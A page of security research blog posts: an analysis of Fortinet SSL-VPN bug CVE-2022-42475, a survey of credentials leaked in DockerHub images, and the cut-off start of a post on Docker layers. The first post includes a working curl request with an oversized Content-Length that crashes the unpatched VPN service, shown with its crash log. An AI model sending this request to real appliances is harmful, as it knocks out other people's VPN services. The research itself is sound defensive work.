Normal view

There are new articles available, click to refresh the page.
Before yesterdaywatchTowr Labs - Blog

We're Out Of Titles For VPN Vulns - It's Not Funny Anymore (Fortinet CVE-2022-42475)

31 January 2023 at 09:50
We're Out Of Titles For VPN Vulns - It's Not Funny Anymore (Fortinet CVE-2022-42475)

As part of our Continuous Automated Red Teaming and Attack Surface Management capabilities delivered through the watchTowr Platform, we analyse vulnerabilities in technology that are likely to be prevalent across the attack surfaces of our clients. This enables our ability to rapidly PoC and identify vulnerable systems across large attack surfaces.

You may have heard of the recent Fortinet SSL-VPN remote code execution vulnerability (or, more formally, 'CVE-2022-42475') being exploited by those pesky nation-state actors, and perhaps like us, you've been dying to understand the vulnerability in greater detail since the news of exploitation began - because well, it sounds exciting.

We'd like to insert a comment about the sad state of VPN appliance security here. Something about this being a repeated cycle across the VPN space, not specific to one particular vendor, but where we as an industry continue playing whack-a-mole for bugs straight out of the 90s and act shocked each time we see someone spraying their PoC across the Internet. Something like that. But with tact.

Naturally, though - we have a vested interest in understanding how to identify vulnerable appliances, and subsequently, exploit them - let's dive into our analysis, and see where it takes us...

Locating the bug

Fortinet's security advisory doesn't give us much to go by, in terms of exploitation:

We're Out Of Titles For VPN Vulns - It's Not Funny Anymore (Fortinet CVE-2022-42475)
Helpful.

Naturally, we resort to comparing the fixed and vulnerable versions of the firmware. This is made slightly more difficult due to two factors - firstly, Fortinet's decision to release other updates in the same patch, and secondly, the monolithic architecture of the target environment, which loads almost all user-space code from a single 66 MB init executable.

We used Zynamic's BinDiff tool, alongside the IDA Pro disassembler, and identified the following function had changed in an intriguing manner:

We're Out Of Titles For VPN Vulns - It's Not Funny Anymore (Fortinet CVE-2022-42475)

While most of the code is identical between the two versions, you can see that an extra ja ("jump if above") conditional branch has been added, along with a comparison against the constant 0x40000000. Interesting. I guess this function is as good a place to start as any!

One thing that often makes reverse engineering of patches, and in general this kind of work easier when working on embedded devices, is the frequent abundance of debug strings in the binary. Since the target market for network appliances is primarily concerned with uptime, enabling a remote engineer to diagnose and correct a problem is often more important than the vendor's preference for secrecy, and so error messages tend to be helpful and verbose. Indeed, if we examine the callers to this function, we can deduce its name - fsv_malloc:

We're Out Of Titles For VPN Vulns - It's Not Funny Anymore (Fortinet CVE-2022-42475)

Indeed, not only can we deduce the name of the function itself but also the caller - in this case, malloc_block. This will help us work out how this function is used, and figure out if this function really is involved with the fix for CVE-2022-42475.
If we examine the references to our newly-discovered malloc_block, we find a caller named sslvpn_ap_pcalloc. Since the CVE we're hunting for deals with the SSL VPN functionality, it seems likely that this is a good place to look for more clues.

A quick look at the code references to it reveals it is used in quite a few places - 96 - but some careful observation of the callers finds the most promising-sounding caller, named read_post_data. Judging by the name, this function handles HTTP POST data, which we would expect to originate from untrusted users - lets take a closer look.

The function is straightforward, and appears to read the Content-Length HTTP header, allocate a buffer via our sslvpn_ap_pcalloc, and then proceed to read the HTTP POST body into the newly-minted buffer. Interestingly, though, this function also differs between vulnerable and patched versions.

After carefully deciding which differences are unimportant, we are left with the following key difference (highlighted in a nice shade of pink):

We're Out Of Titles For VPN Vulns - It's Not Funny Anymore (Fortinet CVE-2022-42475)

A keen eye - perhaps belonging to a reader who has spotted this kind of vulnerability before - might pick out the difference. On the left, we have the vulnerable code, containing:

lea esi, [rax+1]
movsxd rsi, esi

While on the right is the patched version:

lea rsi, [rax+1]

What's the difference between these two blocks? Surely a teeny tiny difference like that couldn't spell a remote-root compromise... right?! Well...

Of casting and typing

The presence of the movsxd (or 'Move with Sign-eXtend.dword') opcode indicates that the compiler is promoting a signed value from a 32-bit dword into a signed 64-bit qword. In C, this might look like int64_t a = (int64_t)1L, for example. We can hazard a guess that the vulnerable code does this, and could perhaps resemble:

int32_t postDataSize = ...;
sslvpn_ap_pcalloc(.., postDataSize + 1);

Note that sslvpn_ap_pcalloc is declared as accepting a SIZE_T, which is a signed 64bit value, so the result of the addition is converted from an int32_t to an int64_t by way of sign extension.

The problem arises, however, when the POST data size is set to the largest value that an int32_t can hold (since it is signed, this is 0x7FFFFFFF). In this case, the code will perform a 32-bit addition between the size (0x7FFFFFFF) and the constant 0x00000001, arriving at the result 0x80000000. When interpreted as a signed value, this is the lowest number that a int32_t can hold, -2147483648. Since sslvpn_ap_pcalloc requires an int64_t, the compiler helpfully sign extends into the 64bit value 0xFFFFFFFF80000000. That's unexpected, but one could expect execution to continue without disaster, thinking that sslvpn_ap_pcalloc would interpret its argument as an extremely large unsigned integer, and simply fail the allocation. However, this is not the case. Time to delve into sslvpn_ap_pcalloc to explain why.

The function sslvpn_ap_pcalloc is what is commonly known as a pool allocator - instead of simply allocating memory from the underlying memory manager (such as malloc), it attempts to minimise heap fragmentation and the number of allocations by allocating a large amount of memory, of which parts are then granted by subsequent calls to sslvpn_ap_pcalloc. Here's some C code which represents sslvpn_ap_pcalloc :

struct pool
{
	struct heapChunk* info;
}

struct heapChunk
{
	int64_t endOfAllocation;
	heapChunk* previousChunk;
	void* nextFreeSpace;
	char data[];
}

char* sslvpn_ap_pcalloc(pool* myPool, int64_t requestedSize)
{
  char* result = NULL;
  if ( requestedSize > 0 )
  {
    // Align the requested size up to the nearest 8 bytes
    uint64_t alignedSize = (((requestedSize - 1) / 8 ) + 1) * 8;
    
    // Is there enough space left in the current pool chunk?
    if ( &info->nextFreeSpace[alignedSize] > endOfAllocation )
    {
      // There is not enough space left. We must allocate a new chunk.
      chunkSize = global_sizeOfNewChunks;
      if ( chunkSize < alignedSize )
        chunkSize = alignedSize;
        
      // Allocate our new pool chunk, which will hold multiple allocations
      chunkInfo* newChunk = malloc_block(chunkSize);

      // Link this new chunk into our list of chunks
      myPool->info->previousChunk = newChunk;
      myPool->info = newChunk;
      
      // Now we can allocate from our new pool chunk.
      result = myPool->info->nextFreeSpace;
      myPool->info->nextFreeSpace = &result[alignedSize];
    }
    else
    {
      result = myPool->info->nextFreeSpace;
      myPool->info->nextFreeSpace += alignedSize;
    }
  }
  return memset(result, 0, requestedSize);
}

You can see that the function accepts a pool*, which holds information about previous allocations. This is the buffer from which allocations are serviced. For example, the first call to sslvpn_ap_pcalloc might have a requestedSize of 0x10. In order to service the request, sslvpn_ap_pcalloc would instead allocate a larger chunk (global_sizeOfNewChunks, around 0x400 bytes). It would note this allocation in the pool, and then return the start of this newly-allocated chunk to the caller. However, during the next call to sslvpn_ap_pcalloc , this pool buffer would be examined, and if it had enough free space, the function would then return a buffer from the pool instead of needing to call malloc a second time.

Of particular note is the signed quality of the requestedSize argument, and how it is treated. We can see that this parameter is first rounded up to the nearest 8-byte boundary, and then the current pool info is checked to see if there is enough space remaining, here:

uint64_t alignedSize = (((requestedSize - 1) / 8 ) + 1) * 8;

if ( &info->nextFreeSpace[alignedSize] > endOfAllocation ) { ... }

Note that requestedSize is a signed variable. In our corner-case above, we've called the function with a requestedSize of 0xFFFFFFFF80000000, or -2147483648 in decimal.  This causes the condition to be evaluated as false - conceptually, we are asking if the free space pointer minus 2147483648 is beyond the bounds of the allocated memory, which it usually is not.

Since the condition is evaluated as false, control passes as if the pool chunk has enough space remaining for the extra data, and then the chunk is initialised:

result = myPool->info->nextFreeSpace;
myPool->info->nextFreeSpace += alignedSize;
..
return memset(result, 0, requestedSize);

The memset statement dutifully attempts to set 0xFFFFFFFF80000000 bytes, starting at the heap chunk, which invariably causes the hosting process to crash.

That's a lot of theory - but does it work in practice?

The crash

Testing our theory is surprisingly simple - all we must do is send a HTTP request with a Content-Length header set to 2147483647 (ie, 0x7FFFFFFF) to the SSL VPN process. The /remote/login endpoint is unauthenticated, so let's give it a go:

curl -v --insecure -H "Content-Length: 2147483647" --data 1 https://example.com:1234/remote/login
*   Trying example:1234...
* Connected to example.com (example) port 1234 (#0)
* schannel: disabled automatic use of client certificate
* ALPN: offers http/1.1
* ALPN: server did not agree on a protocol. Uses default.
> POST /remote/login HTTP/1.1
> Host: example.com:1234
> User-Agent: curl/7.83.1
> Accept: */*
> Content-Length: 2147483647
> Content-Type: application/x-www-form-urlencoded
>
* schannel: server closed abruptly (missing close_notify)
* Closing connection 0
* schannel: shutting down SSL/TLS connection with example.com port 1234
curl: (56) Failure when receiving data from the peer

Taking a look at the system logs, we can indeed see that the VPN process has died:

We're Out Of Titles For VPN Vulns - It's Not Funny Anymore (Fortinet CVE-2022-42475)
Ouch

Although debugging facilities are sparse, on such an embedded device, fetching the debug logs does yield a little more information in the form of a register and stack trace at crash time.

7: <00376> firmware FortiGate-VM64-AWS v7.2.2,build1255b1255,220930 (GA.F) 
8: (Release)
9: <00376> application sslvpnd
10: <00376> *** signal 11 (Segmentation fault) received ***
11: <00376> Register dump:
12: <00376> RAX: 0000000000000000   RBX: ffffffff80000000
13: <00376> RCX: ffffffff7ff3b2c8   RDX: 00007f0cb74d22c8
14: <00376> R08: 00007f0cb74d22c8   R09: 0000000000000000
15: <00376> R10: 0000000000000000   R11: 0000000000000246
16: <00376> R12: ffffffff80000000   R13: 00007f0cb8149800
17: <00376> R14: 0000000000000000   R15: 00007f0cb742ad78
18: <00376> RSI: 0000000000000000   RDI: 00007f0cb7597000
19: <00376> RBP: 00007fff69b4bfa0   RSP: 00007fff69b4bf78
20: <00376> RIP: 00007f0cbd34876d   EFLAGS: 0000000000010286
21: <00376> CS:  0033   FS: 0000   GS: 0000
22: <00376> Trap: 000000000000000e   Error: 0000000000000007
23: <00376> OldMask: 0000000000000000
24: <00376> CR2: 00007f0cb7597000
25: <00376> stack: 0x7fff69b4bf78 - 0x7fff69b4eeb0 
26: <00376> Backtrace:
27: <00376> [0x7f0cbd34876d] => /usr/lib/x86_64-linux-gnu/libc.so.6  liboffset 
28: 0015a76d (memset)
29: <00376> [0x01655589] => /bin/sslvpnd (sslvpn_ap_pcalloc)
30: <00376> [0x0178ca72] => /bin/sslvpnd (read_post_data)
31: <00376> [0x0178643d] => /bin/sslvpnd  
32: <00376> [0x01787af0] => /bin/sslvpnd  
33: <00376> [0x01787bce] => /bin/sslvpnd  
34: <00376> [0x017880e1] => /bin/sslvpnd (mainLoop)
35: <00376> [0x0178938c] => /bin/sslvpnd (slave_main)
36: <00376> [0x0178a712] => /bin/sslvpnd (sslvpnd_main)
37: <00376> [0x00448ddf] => /bin/sslvpnd  
38: <00376> [0x00451e9a] => /bin/sslvpnd  
39: <00376> [0x0044e9fc] => /bin/sslvpnd (run_initentry)
40: <00376> [0x00451108] => /bin/sslvpnd (initd_mainloop) 
41: <00376> [0x00451a31] => /bin/sslvpnd  
42: <00376> [0x7f0cbd211deb] => /usr/lib/x86_64-linux-gnu/libc.so.6 
43: (__libc_start_main+0x000000eb) liboffset 00023deb
44: <00376> [0x00443c7a] => /bin/sslvpnd  
45: <00376> fortidev 6.0.1.0005
46: the killed daemon is /bin/sslvpnd: status=0xb

I've gone ahead and annotated the stack trace with memset, sslvpn_ap_pcalloc, and read_post_data for your convenience.

The arguments passed to memset are still present in the register dump, in rdx and rdi, as are a few registers used by the calling sslvpn_ap_pcalloc. We can see the size of the data we're trying to clear - 0xFFFFFFFF80000000 bytes - as well as the base of the buffer we're setting, at 0x00007f0cb74d22c8.

Okay, so that's useful to us as defenders - we can verify that a system is patched - but only in a very limited way.

We don't want to start crashing Fortinet appliances in production just to check if they are patched or not. Maybe there's a less intrusive way to check?

We're Out Of Titles For VPN Vulns - It's Not Funny Anymore (Fortinet CVE-2022-42475)

A more gentle touch

It turns out, yes, there is.

If you recall, the initial difference that piqued our interest was a change to the memory allocator, which will now reject HTTP requests with a Content-Length of over 0x40000000 bytes. There are other such checks added, presumably to add extra layers of safety to the large codebase. One such check will reject POST attempts which contain a payload of more than 1048576 (0x10000) bytes, responding with a HTTP "413 Request Entity Too Large" message instead of waiting for the transfer of the payload data.

This can be used to check that appliances are patched without risk of destabilising them, since even vulnerable systems are able to allocate a POST buffer of 0x10000 bytes, far beneath the troublesome value of 0x7fffffff. We don't even need to write any code - we can just use cURL:

c:\code\hashcat-6.2.6>curl --max-time 5 -v --insecure -H "Content-Length: 1048577" --data 1 https://example.com:1234/remote/login
*   Trying example.com:1234...
* Connected to example.com (example) port 1234 (#0)
* schannel: disabled automatic use of client certificate
* ALPN: offers http/1.1
* ALPN: server did not agree on a protocol. Uses default.
> POST /remote/login HTTP/1.1
> Host: example.com:1234
> User-Agent: curl/7.83.1
> Accept: */*
> Content-Length: 1048577
> Content-Type: application/x-www-form-urlencoded
>
* Operation timed out after 5017 milliseconds with 0 bytes received
* Closing connection 0
* schannel: shutting down SSL/TLS connection with example.com port 1234
curl: (28) Operation timed out after 5017 milliseconds with 0 bytes received

Contrast this with the response seen from an appliance which has been upgraded to v7.2.3:

curl --max-time 5 -v --insecure -H "Content-Length: 1048577" --data 1 https://example.com:1234/remote/login
*   Trying example.com:1234...
* Connected to example.com (example) port 1234 (#0)
* schannel: disabled automatic use of client certificate
* ALPN: offers http/1.1
* ALPN: server did not agree on a protocol. Uses default.
> POST /remote/login HTTP/1.1
> Host: example.com:1234
> User-Agent: curl/7.83.1
> Accept: */*
> Content-Length: 1048577
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 413 Request Entity Too Large
(other output omitted)

Summary

This is definitely not the first buggy VPN appliance we've seen and almost certainly won't be the last. Indeed, while searching for this bug, we accidentally found another bug - fortunately one limited to a crash of the VPN process via a null pointer dereference. Shrug.

Needless to say, it does not bode well for an appliance's security if a researcher is able to discover crashes by accident. VPN appliances are in a particularly precarious position on the network since they must be exposed to hostile traffic almost as a pre-requisite for existing. We at watchTowr consider it likely that similar bugs in Fortinet hardware - and other hardware in this class - will continue to surface as time goes by.

We would suggest that it's a very safe bet ;-)

Of course, one critical factor that can help determine real-world fallout from such bugs is the vendor's response - in this case, Fortinet. We were especially frustrated by Fortinet's posture in this regard, as they refused to release details of the bug once a patch was available, even though it was being actively exploited by attackers. We believe this stance weakens the security posture of Fortinet's customer base, making it more difficult to detect attacks and to determine with certainty that their devices are not affected.

This might sound trivial to those that are living in youthful freshness - but in an enterprise with 50,000 systems connected to the Internet - working out even whether you have a particular Fortinet device is alone not trivial, let alone just saying 'patch, duh?'.

While this is a very simple bug in concept, there are a few factors that make it more difficult for researchers to pinpoint the exact issue, even when provided with Fortinet's "advisory". Part of this is inherent to the architecture of the appliance; having every binary compiled into a large init process (as I mentioned above) can make it more difficult for a reverse engineer to map dependencies and figure out what's going on.

Further, attempts to 'diff' the firmware and look for the code affected by the patch are hampered by Fortinet's approach of bundling multiple unrelated improvements and changes along with the patch. It is impossible to patch a Fortinet appliance without also applying changes to a large amount of unrelated functionality (and dealing with the associated 'known issues'). One imagines an overworked network administrator trying to weigh their chances - do they apply the patch, and suffer the potential consequences, or stay on their current version and risk being breached?

watchTowr clients have benefitted from early testing and warning of devices in their environment that are vulnerable - but to our earlier point, it doesn't have to be the only way if Fortinet had been more forthcoming with helpful information in an actively exploited vulnerability.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Continuous Automated Red Teaming and Attack Surface Management solution, please get in touch.

"I don't need no zero-dayz" - Docker Container Images (1/4)

3 February 2023 at 08:25
"I don't need no zero-dayz" - Docker Container Images  (1/4)


This post is the first part of a series on our recent adventures into DockerHub. You may be interested in the next instalments, which are:

-

Here at watchTowr, we love delving into 'forgotten' attack surfaces - resources that are exposed to the public, forgotten about, and give us all the information we need to gain initial access to an organisation.

The more dark corners of an attack surface that we can see, the more we fulfil our ultimate goal - helping our clients understand how they could be compromised today.

Today, I'd like to share some research that we recently undertook in order to assess the scale of one such oft-neglected attack surface - that is exposed by public Docker container images.

Through the watchTowr Platform's analysis of attack surfaces, we frequently discover sensitive data in Docker container images. In order to more formally assess the scale of this problem, and also to raise awareness of the associated veiled attack surface, we decided to embark on a research project searching a representative portion of available DockerHub images for sensitive information. Our expectation at this point was that we would discover access keys for small-scale applications, but we soon found that even large organisations were not without weaknesses in this area.

In this post, the first of a four-part series, we will discuss an overview of our findings at a high level. Subsequent posts will explain our technical methodology in more detail, and offer additional insight into the problems we encountered during the research - as well as observations on the distribution of sensitive data and recommendations to those who wish to avoid their own inadvertent exposure.

What Are Docker Containers?

Docker containers, favoured by application developers and DevOps teams worldwide, are used to package an entire system configuration into a single 'container', making it easy for end-users to start an application without having to configure their own system appropriately. For example, a developer who produces forum software could make such a container available to the wider public, containing not only their forum software, but also a database and web server, plus the appropriate configuration files to enable the application to "just work" out-of-the-box.

These 'containers' are usually stored in a 'registry', which can be configured to allow access only to an organisation's employees, or to the wider public. One such registry, 'DockerHub', is operated by the developers of Docker themselves, and is designed to allow the public to easily share their images, in a similar manner to how GitHub allows developers to easily share their code.

When developing such a 'container', however, there is a risk that sensitive data is inadvertently included in the configuration of a container published publicly. This results in the wider public being able to access such sensitive data, and use it for nefarious means, which can often have a significant impact (discussed below).

One example could be in the hypothetical forum software I mention above. If the database is configured to allow remote connections, and it is also configured with a hardcoded password, then an attacker could extract the password from the container image and use it to access any instance of the software built from that container image.

Everyone Gets A Secret! - Over 2,000,000 Secrets

At this point it is important to note the inherent difficulty in appropriating or validating secret data held by organisations with which we are not involved. For example, we found some data claiming to be a list of passwords for email accounts - but it is impossible for us to verify their validity without simply using them to log in, which would cross ethical and legal boundaries. Also difficult to classify are API tokens, which are strings similar to passwords, but with varying levels of permissions - given an API token, it is impossible for us to determine if it is a token holding powerful privileges, or a low-privilege token designed to be made public.

While we've taken every effort to remove obvious false positives (for example, we saw secret keys such as "NotARealKey", which are obviously bogus), some may remain in the dataset. For purposes of calibration, however, here is an example file which we consider valid:

{
        "cf_email": "<redacted>",",
        "cf_apikey": "<redacted>",
        "cf_org": "<redacted>Prod",
        "cf_space": "<redacted>prodspace2",
        "cf_broker_memory": "512M",

        "devex": {
                "ace_app_space": "opsconsole",
                "ace_app_suffix": "dev",
                "bssr_client_id": "<redacted>",
                "bssr_client_secret": "<redacted>",
                "node_env": "production",
                "session_key": "opsConsole.sid",
                "session_secret": "<redacted>",
                "slack_endpoint": "<TBD>",
                "uaa_callback_url": "<redacted>",
                "uaa_client_id": "<redacted>",
                "uaa_client_secret": "<redacted>"
        },
        "CLOUDANT_USER": "<redacted>",
        "CLOUDANT_PASSWORD": "<redacted>",
        "BLUEMIX_CLOUDANT_DB_NAME": "<redacted>",
        "TERRAFORM_CLOUDANT_DB_NAME": "<redacted>",
        "CLOUDANT_DB_URL": "<redacted>",
        "BLUEMIX_SPACE": "<redacted>",
        "UAA_CLIENT_SECRET": "<redacted>",
        "UAA_CALLBACK": ""<redacted>",",
        "SESSION_CACHE": "Redis-cam-ui",
        "TERRAFORM_PLUGIN_ENDPOINTURL": "<redacted>/api",
        "CAM_TOKEN":"<redacted>",
        "A8_REGISTRY_TOKEN": "<redacted>",
        "A8_CONTROLLER_TOKEN": "<redacted>",
        "REDIS_HOST": "<redacted>",
        "REDIS_PASSWORD": "<redacted>",
        "REDIS_PORT": "<redacted>",
        "SRE_SLACK_WEBHOOK_URI":"https://hooks.slack.com/services/<redacted>
        ",
}

Looking at this file, we can estimate that 'cf' represents CloudFare, the wildly popular CDN. We also note credentials for "Terraform", which is a system used by DevOps engineers for provisioning entire 'fleets' of servers to build entire environments. Furthermore, there are connections to Slack, the popular business chat application, and other services. It is easy to imagine a scenario in which these credentials are leveraged to deploy ransomware across a large environment, resulting in considerable loss of business and revenue, especially given the presence of the string 'prodspace2', suggesting that this file contains secrets for a production environment.

This file is particularly interesting as it belongs to a fortune-10 organisation, who are well-funded and motivated to secure their environments - we hope. Our initial expectations of finding 'low-hanging fruit' are clearly, slightly exceeded here.

Our initial findings located a vast amount of such secrets - around 2.5 million across a small-subset of container images reviewed from DockerHub - roughly 22,000 images representing roughly 0.4% of all available container images.

Let's drill down into this huge number and find the most interesting data.

150,000 Unique Secrets

While a naïve analysis of the dataset suggests over 2.5 million credentials, the watchTowr team quickly identified a large number of 'false positives' and pared this number down to slightly over 1.1 million. Many of these are duplicated, however, and removing these duplicated results reveals a core of 152,000 unique secrets, sourced from around 22,000 vulnerable Docker images.

"I don't need no zero-dayz" - Docker Container Images  (1/4)
From the 2,500,000 initial potential credentials we pare down to 152,000

We can further explore this dataset, breaking down our results and categorising by the service each secret applies to. This helps us suggest a more realistic assessment of the true risk that exposure entails.

"I don't need no zero-dayz" - Docker Container Images  (1/4)
The types of credentials we discovered

The majority of the secrets, as you can see, are those for "generic" API endpoints. These typically enable applications to integrate with external services, such as Cloudfare or Terraform. While this category is interesting, remaining credentials have been categorised by the service they are associated with, which makes analysis much more useful. Let's put these "generic" results aside for now, and look more into the second-largest category - that of 'Cloud provider'.

Cloud Platform Access Keys - Cryptomining For Days

Once we set aside the 'generic' keys, we can see a large amount of credentials (around 23% of our total) categorised as being for a 'Cloud Provider'. These services, such as Amazon's ubiquitous 'AWS' and Google's 'GCP', enable developers and devops teams to virtualise their compute resources, often running the entire companies infrastructure from one cloud account.

As mentioned before, these credentials are typically generated by developers and assigned a level of privilege appropriate to their intended use-case, with some keys designed for public consumption and some used for sensitive operations. While it is impossible for us to determine the privileges associated with each key without crossing ethical and legal boundaries, it is difficult to overstate the risk that these keys can potentially represent. Even on an unused account, a malicious actor can use these keys to run cloud services to mine cryptocurrency - an activity popular enough that it has spawned public tools such as the Denonia crypto miner to ease the process. With an active account, however, things are even worse, as a powerful cloud token allows access to virtual servers, S3 buckets, virtual networks, VPN traffic, and other resources.

History shows us of the potential consequences of a cloud provider credential leak. Back in 2021, AWS accounts belonging to Ubiquiti were allegedly leaked by a disgruntled ex-employee, resulting in an extortion attempt  (more info here) and a significant drop in stock price, highlighted in the red box below:

"I don't need no zero-dayz" - Docker Container Images  (1/4)
Stock market price change correlated to an AWS compromise (red rectangle)

This is not an isolated incident - those with longer memories may recall the 2020 story of a Cisco ex-employee who maliciously deleted ~450 virtual servers from Cisco's AWS account, resulting in one million USD of customer refunds and a further 1.4 million USD in employee time (more info here) as Cisco scrambled to recover during a two-week period. Clearly, the dangers of an exposed and compromised cloud provider account are significant and well-known.

🗨️
Over 30,000 unique access keys for Amazon AWS were found

However, this was not reflected in our results. We found slightly over 30,000 unique AWS keys, a truly terrifying number (even though we expect a portion of these to be low-privilege tokens). Indeed, AWS keys alone form around 23% of the credentials we discovered.

Other cloud services were not absent from the data, either, as we also found almost 90 keys for the competing Google Compute Platform, as well as credentials for other services such as Alibaba Cloud. These keys allow a similar-scale breach via other cloud services.

We leave it to the reader's imagination and critical thinking as to the reason for the huge difference in the number of exposed keys per platform.

Payment Processing - Issuing All Of The Refunds

The keys for payment processors are often valued by attackers for obvious reasons - they often represent the ability to transfer funds, issuing refunds or making payments. Any single leaked credential of this type almost certainly spells disaster for the owner - yet we still found over a hundred instances of these tokens in our crawl.

"I don't need no zero-dayz" - Docker Container Images  (1/4)
Zooming in on remaining secrets, we can see payment processor tokens are also exposed en-mass

These tokens are for a variety of services, but the most well-represented in our dataset is the payment processor 'Stripe', which is particularly popular for websites which wish to provide e-commerce abilities without handling card data directly. Stripe themselves comment on the power of these keys here:

Your secret API key can be used to make any API call on behalf of your account, such as creating a charge or performing a refund.

It seems obvious that the presence of these keys in our dataset is worrisome. What else do we have?

Social Media - Sending Tweets On Your Behalf

As shown in the graphic above, social media tokens are also prevalent in our haul, as 301 images contained at least one such access token. We estimate these to allow an adversary to post and manipulate an organisation's online presence. Around 10% of these tokens were for Facebook, while LinkedIn and Twitter were also popular. We also noted tokens for mass-email companies such as SendGrid and MailGun.

"I don't need no zero-dayz" - Docker Container Images  (1/4)
Credentials for a variety of social media sites were discovered

While a breach of an organisation's social media account may seem minor compared to a compromise of payments, it still represents a significant risk. Years of careful public relations can be undone quickly as customers lose faith in an organisation's security posture, or sensitive data may be recovered via the accounts 'Direct Messaging' feature. Often, attackers use compromised social media accounts to spread cryptocurrency scams for a quick payout (for an example, see here):

"I don't need no zero-dayz" - Docker Container Images  (1/4)
Bill Gates isn't really giving away Bitcoin!

While often overlooked, the use of a compromised social media account to facilitate additional social engineering attacks inside an organisation should not be underestimated.

Related to social media, we found 67 images containing tokens for the popular business-oriented communication application Slack. These tokens may allow an attacker to disrupt communications and even read private messages sent and received by employees via the service. While it is tempting to doubt the severity of such a breach, there are historic examples of attackers leveraging Slack - the 2020 breach of Animal Jam involved compromised AWS credentials exposed via a breach of their Slack environment.

SSH

On a more technical note, we found 559 images (~2.5%) containing a cryptographic 'host' key pair, typically used to secure a 'Secure Shell' (or 'SSH' ) connection for encrypted communication. We were able to determine that a subset of these keys are in use by active, publicly accessible endpoints on the wider internet. More seriously, 189 images contained at least one authentication key - potentially allowing an attacker to authenticate and execute commands on the host. Historic breaches involving such keys include the 2016 breach of DataDog.

Other Secrets

Of all the users of the Internet, few are more concerned with security than users of cryptocurrency. Nevertheless, we discovered six Docker containers which held cryptocurrency wallets, allowing anyone to access funds and perform transfers. We even found a key for an "onion" hidden service, as used by the ToR project to communicate extremely sensitive information securely.

Finally, we noted a small number of Docker images which included credentials to further Docker registries, such as those owned privately by an organisation.

The only discernible barrier to finding more credentials in this dataset seemed to be the amount of time we were willing to invest in searching, which does not bode well for anyone.

The Dataset

Finally, it may help to provide a quick summary of the dataset, to give an idea of the scale of our research.

Over a period of around three weeks, we obtained the newest tag from 22,194 docker images, which we believe is around 0.4% of the total available repositories at the time of publishing. These images contain around 240 million files, of which approximately 32 million (around 3.8 TB) are unique in their contents.

🗨️
Our dataset spans almost 4TB of data in 32 million unique files, taken from over 22,000 docker images

We selected docker images randomly, and analyzed only their newest tag, in order to avoid a dataset skewed by a single container. For simplicity, we analyzed only Linux-based containers on the amd64 platform. We believe our sample to be representative of the broader DockerHub file collection.

We used Amazon EC2 for the project, using mostly t2.xlarge workers (more detail will follow in subsequent posts). Our total spend was under 2000 USD, which speaks to the accessibility of the data we collected - this sum is low enough that an adversary might expect to recoup it by monetising access to the resultant stolen data.

As you can imagine, locating sensitive information in such a large dataset is a technical challenge. We've taken every effort to remove false positives from the results we present here, but some may still remain - this topic will be discussed at length in a subsequent post. With some notable exceptions, it is impossible to verify if a secret is truly sensitive (for example, if a credential is valid) without actually trying to use it, which is not something we are able to do.

Summary

We're quite excited to share the methodology and further insights we gained from this research. To that end, we will be posting a series of weekly blog posts going into more technical detail around specific topics. Expect the following posts:

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Continuous Automated Red Teaming and Attack Surface Management solution, please get in touch.

Layer Cake: How Docker Handles Filesystem Access - Docker Container Images (2/4)

9 February 2023 at 04:49
Layer Cake: How Docker Handles Filesystem Access - Docker Container Images (2/4)

This post is the second part of a series on our recent adventures in DockerHub. Before you read it, you may want to check out the other posts of this series:

-

Those who read the previous post, in which we speak of our bulk downloading of 32 million files spread over 22,000 Docker images, may be wondering how exactly we managed to acquire and process such a volume of data. This post will go into one vital component in this task - efficiently acquiring these files from DockerHub.

For those who have not yet read the previous instalment, a brief recap:

watchTowr has a very simple core mission - to help our clients understand how they could be compromised today. After noting how frequently we discover potential compromises caused by critical secrets lurking inside publicly-available Docker images, we decided to carry out a more thorough study to assess the scale of this kind of credential leakage. In order to do so at the kind of scale that makes it truly useful, we built a system capable of efficiently acquiring files from DockerHub, and examining the contents in order to locate and extract sensitive data, such as API keys or private certificates.

While the acquisition of these files appears to be a simple topic ("just download them from DockerHub"), this process is more complex at scale than meets the eye - requiring an understanding of Docker's internal filesystem management before it was able to perform at the kind of scale that watchTowr typically enjoys. This post explains how we managed to fetch and process such a quantity of data at scale, enabling us to draw statistically reliable conclusions from our dataset.

The naïve approach

A naïve reader might be imagining a system which would simply execute the docker pull command, which fetches a Docker image from DockerHub, in order to download images. Indeed, our prototype implementation did just this. However, we very quickly found that this simple approach was not well-suited for the acquisition of filesystem data at the scale that we intended.

Firstly, this approach rapidly exhausted disk space, as it attempted to leave each of the Docker images we processed (remember, we processed over 22,000 in total) on the systems' hard drive. We were thus forced to periodically clear out the Docker cache directory via the docker prune command, and unfortunately this led to major wastage of bandwidth and processor time.

To illustrate this wastage, consider a Docker image that is based upon Ubuntu Xenial. For example:

FROM ubuntu:xenial
RUN useradd watchtowr

Downloading this image via docker pull would result in Docker downloading both the final image itself, with the watchtowr user added, and the 'base' image containing Ubuntu Xenial. While this base layer would be cached by Docker, we would be forced to prune this cache periodically to keep disk space at a reasonable level. This means that, after clearing this cache, any subsequent fetch of an image based on Ubuntu Xenial would result in the Ubuntu Xenial image being downloaded and processed a second time. Since the Ubuntu image is large, this results in time and bandwidth waste, and since it contains many files, considerable time is wasted as we iterate and catalogue its contents. This prevents us from operating at scale.

Ingesting a Docker container would be much more efficient if we could ingest the files in the base image only once for all Ubuntu Xenial-based images, and only ingest the files which were altered by subsequent uses of this base image. Fortunately, Docker gives us the ability to do this.

Layers and their mountpoints

As you may be aware, the FROM directive in a Dockerfile instructs Docker to build a container based on a different container - for example, a build of your favourite Linux distribution, a configured webserver, or almost anything else. This is a good example of what Docker terms a "layer" - the 'base' image specified by the FROM directive is downloaded and stored, and changes made to it are stored in a separate 'delta' file. The underlying base image is not itself altered.

This concept extends past the FROM directive into the other statements in a Dockerfile. If you've used Docker in anything more than the most casual of settings, you may have noticed that your edits to the Dockerfile are usually applied quickly, without the entire container needing to be rebuilt. This is because Docker is good at keeping the output of each step cached as a 'layer' and re-using these layers to make the development process quicker.

It's easier to demonstrate this than it is to explain, so I'll take you through a simple example. We'll work from the following simple Dockerfile:

FROM ubuntu:latest
RUN useradd watchtowr

And go ahead and build it. We'll supply the argument --rm=false to explicitly keep intermediate layers, so that we can see what's going on more plainly.

$ docker build -t test --rm=false .
Sending build context to Docker daemon  2.048kB
Step 1/2 : FROM ubuntu:latest
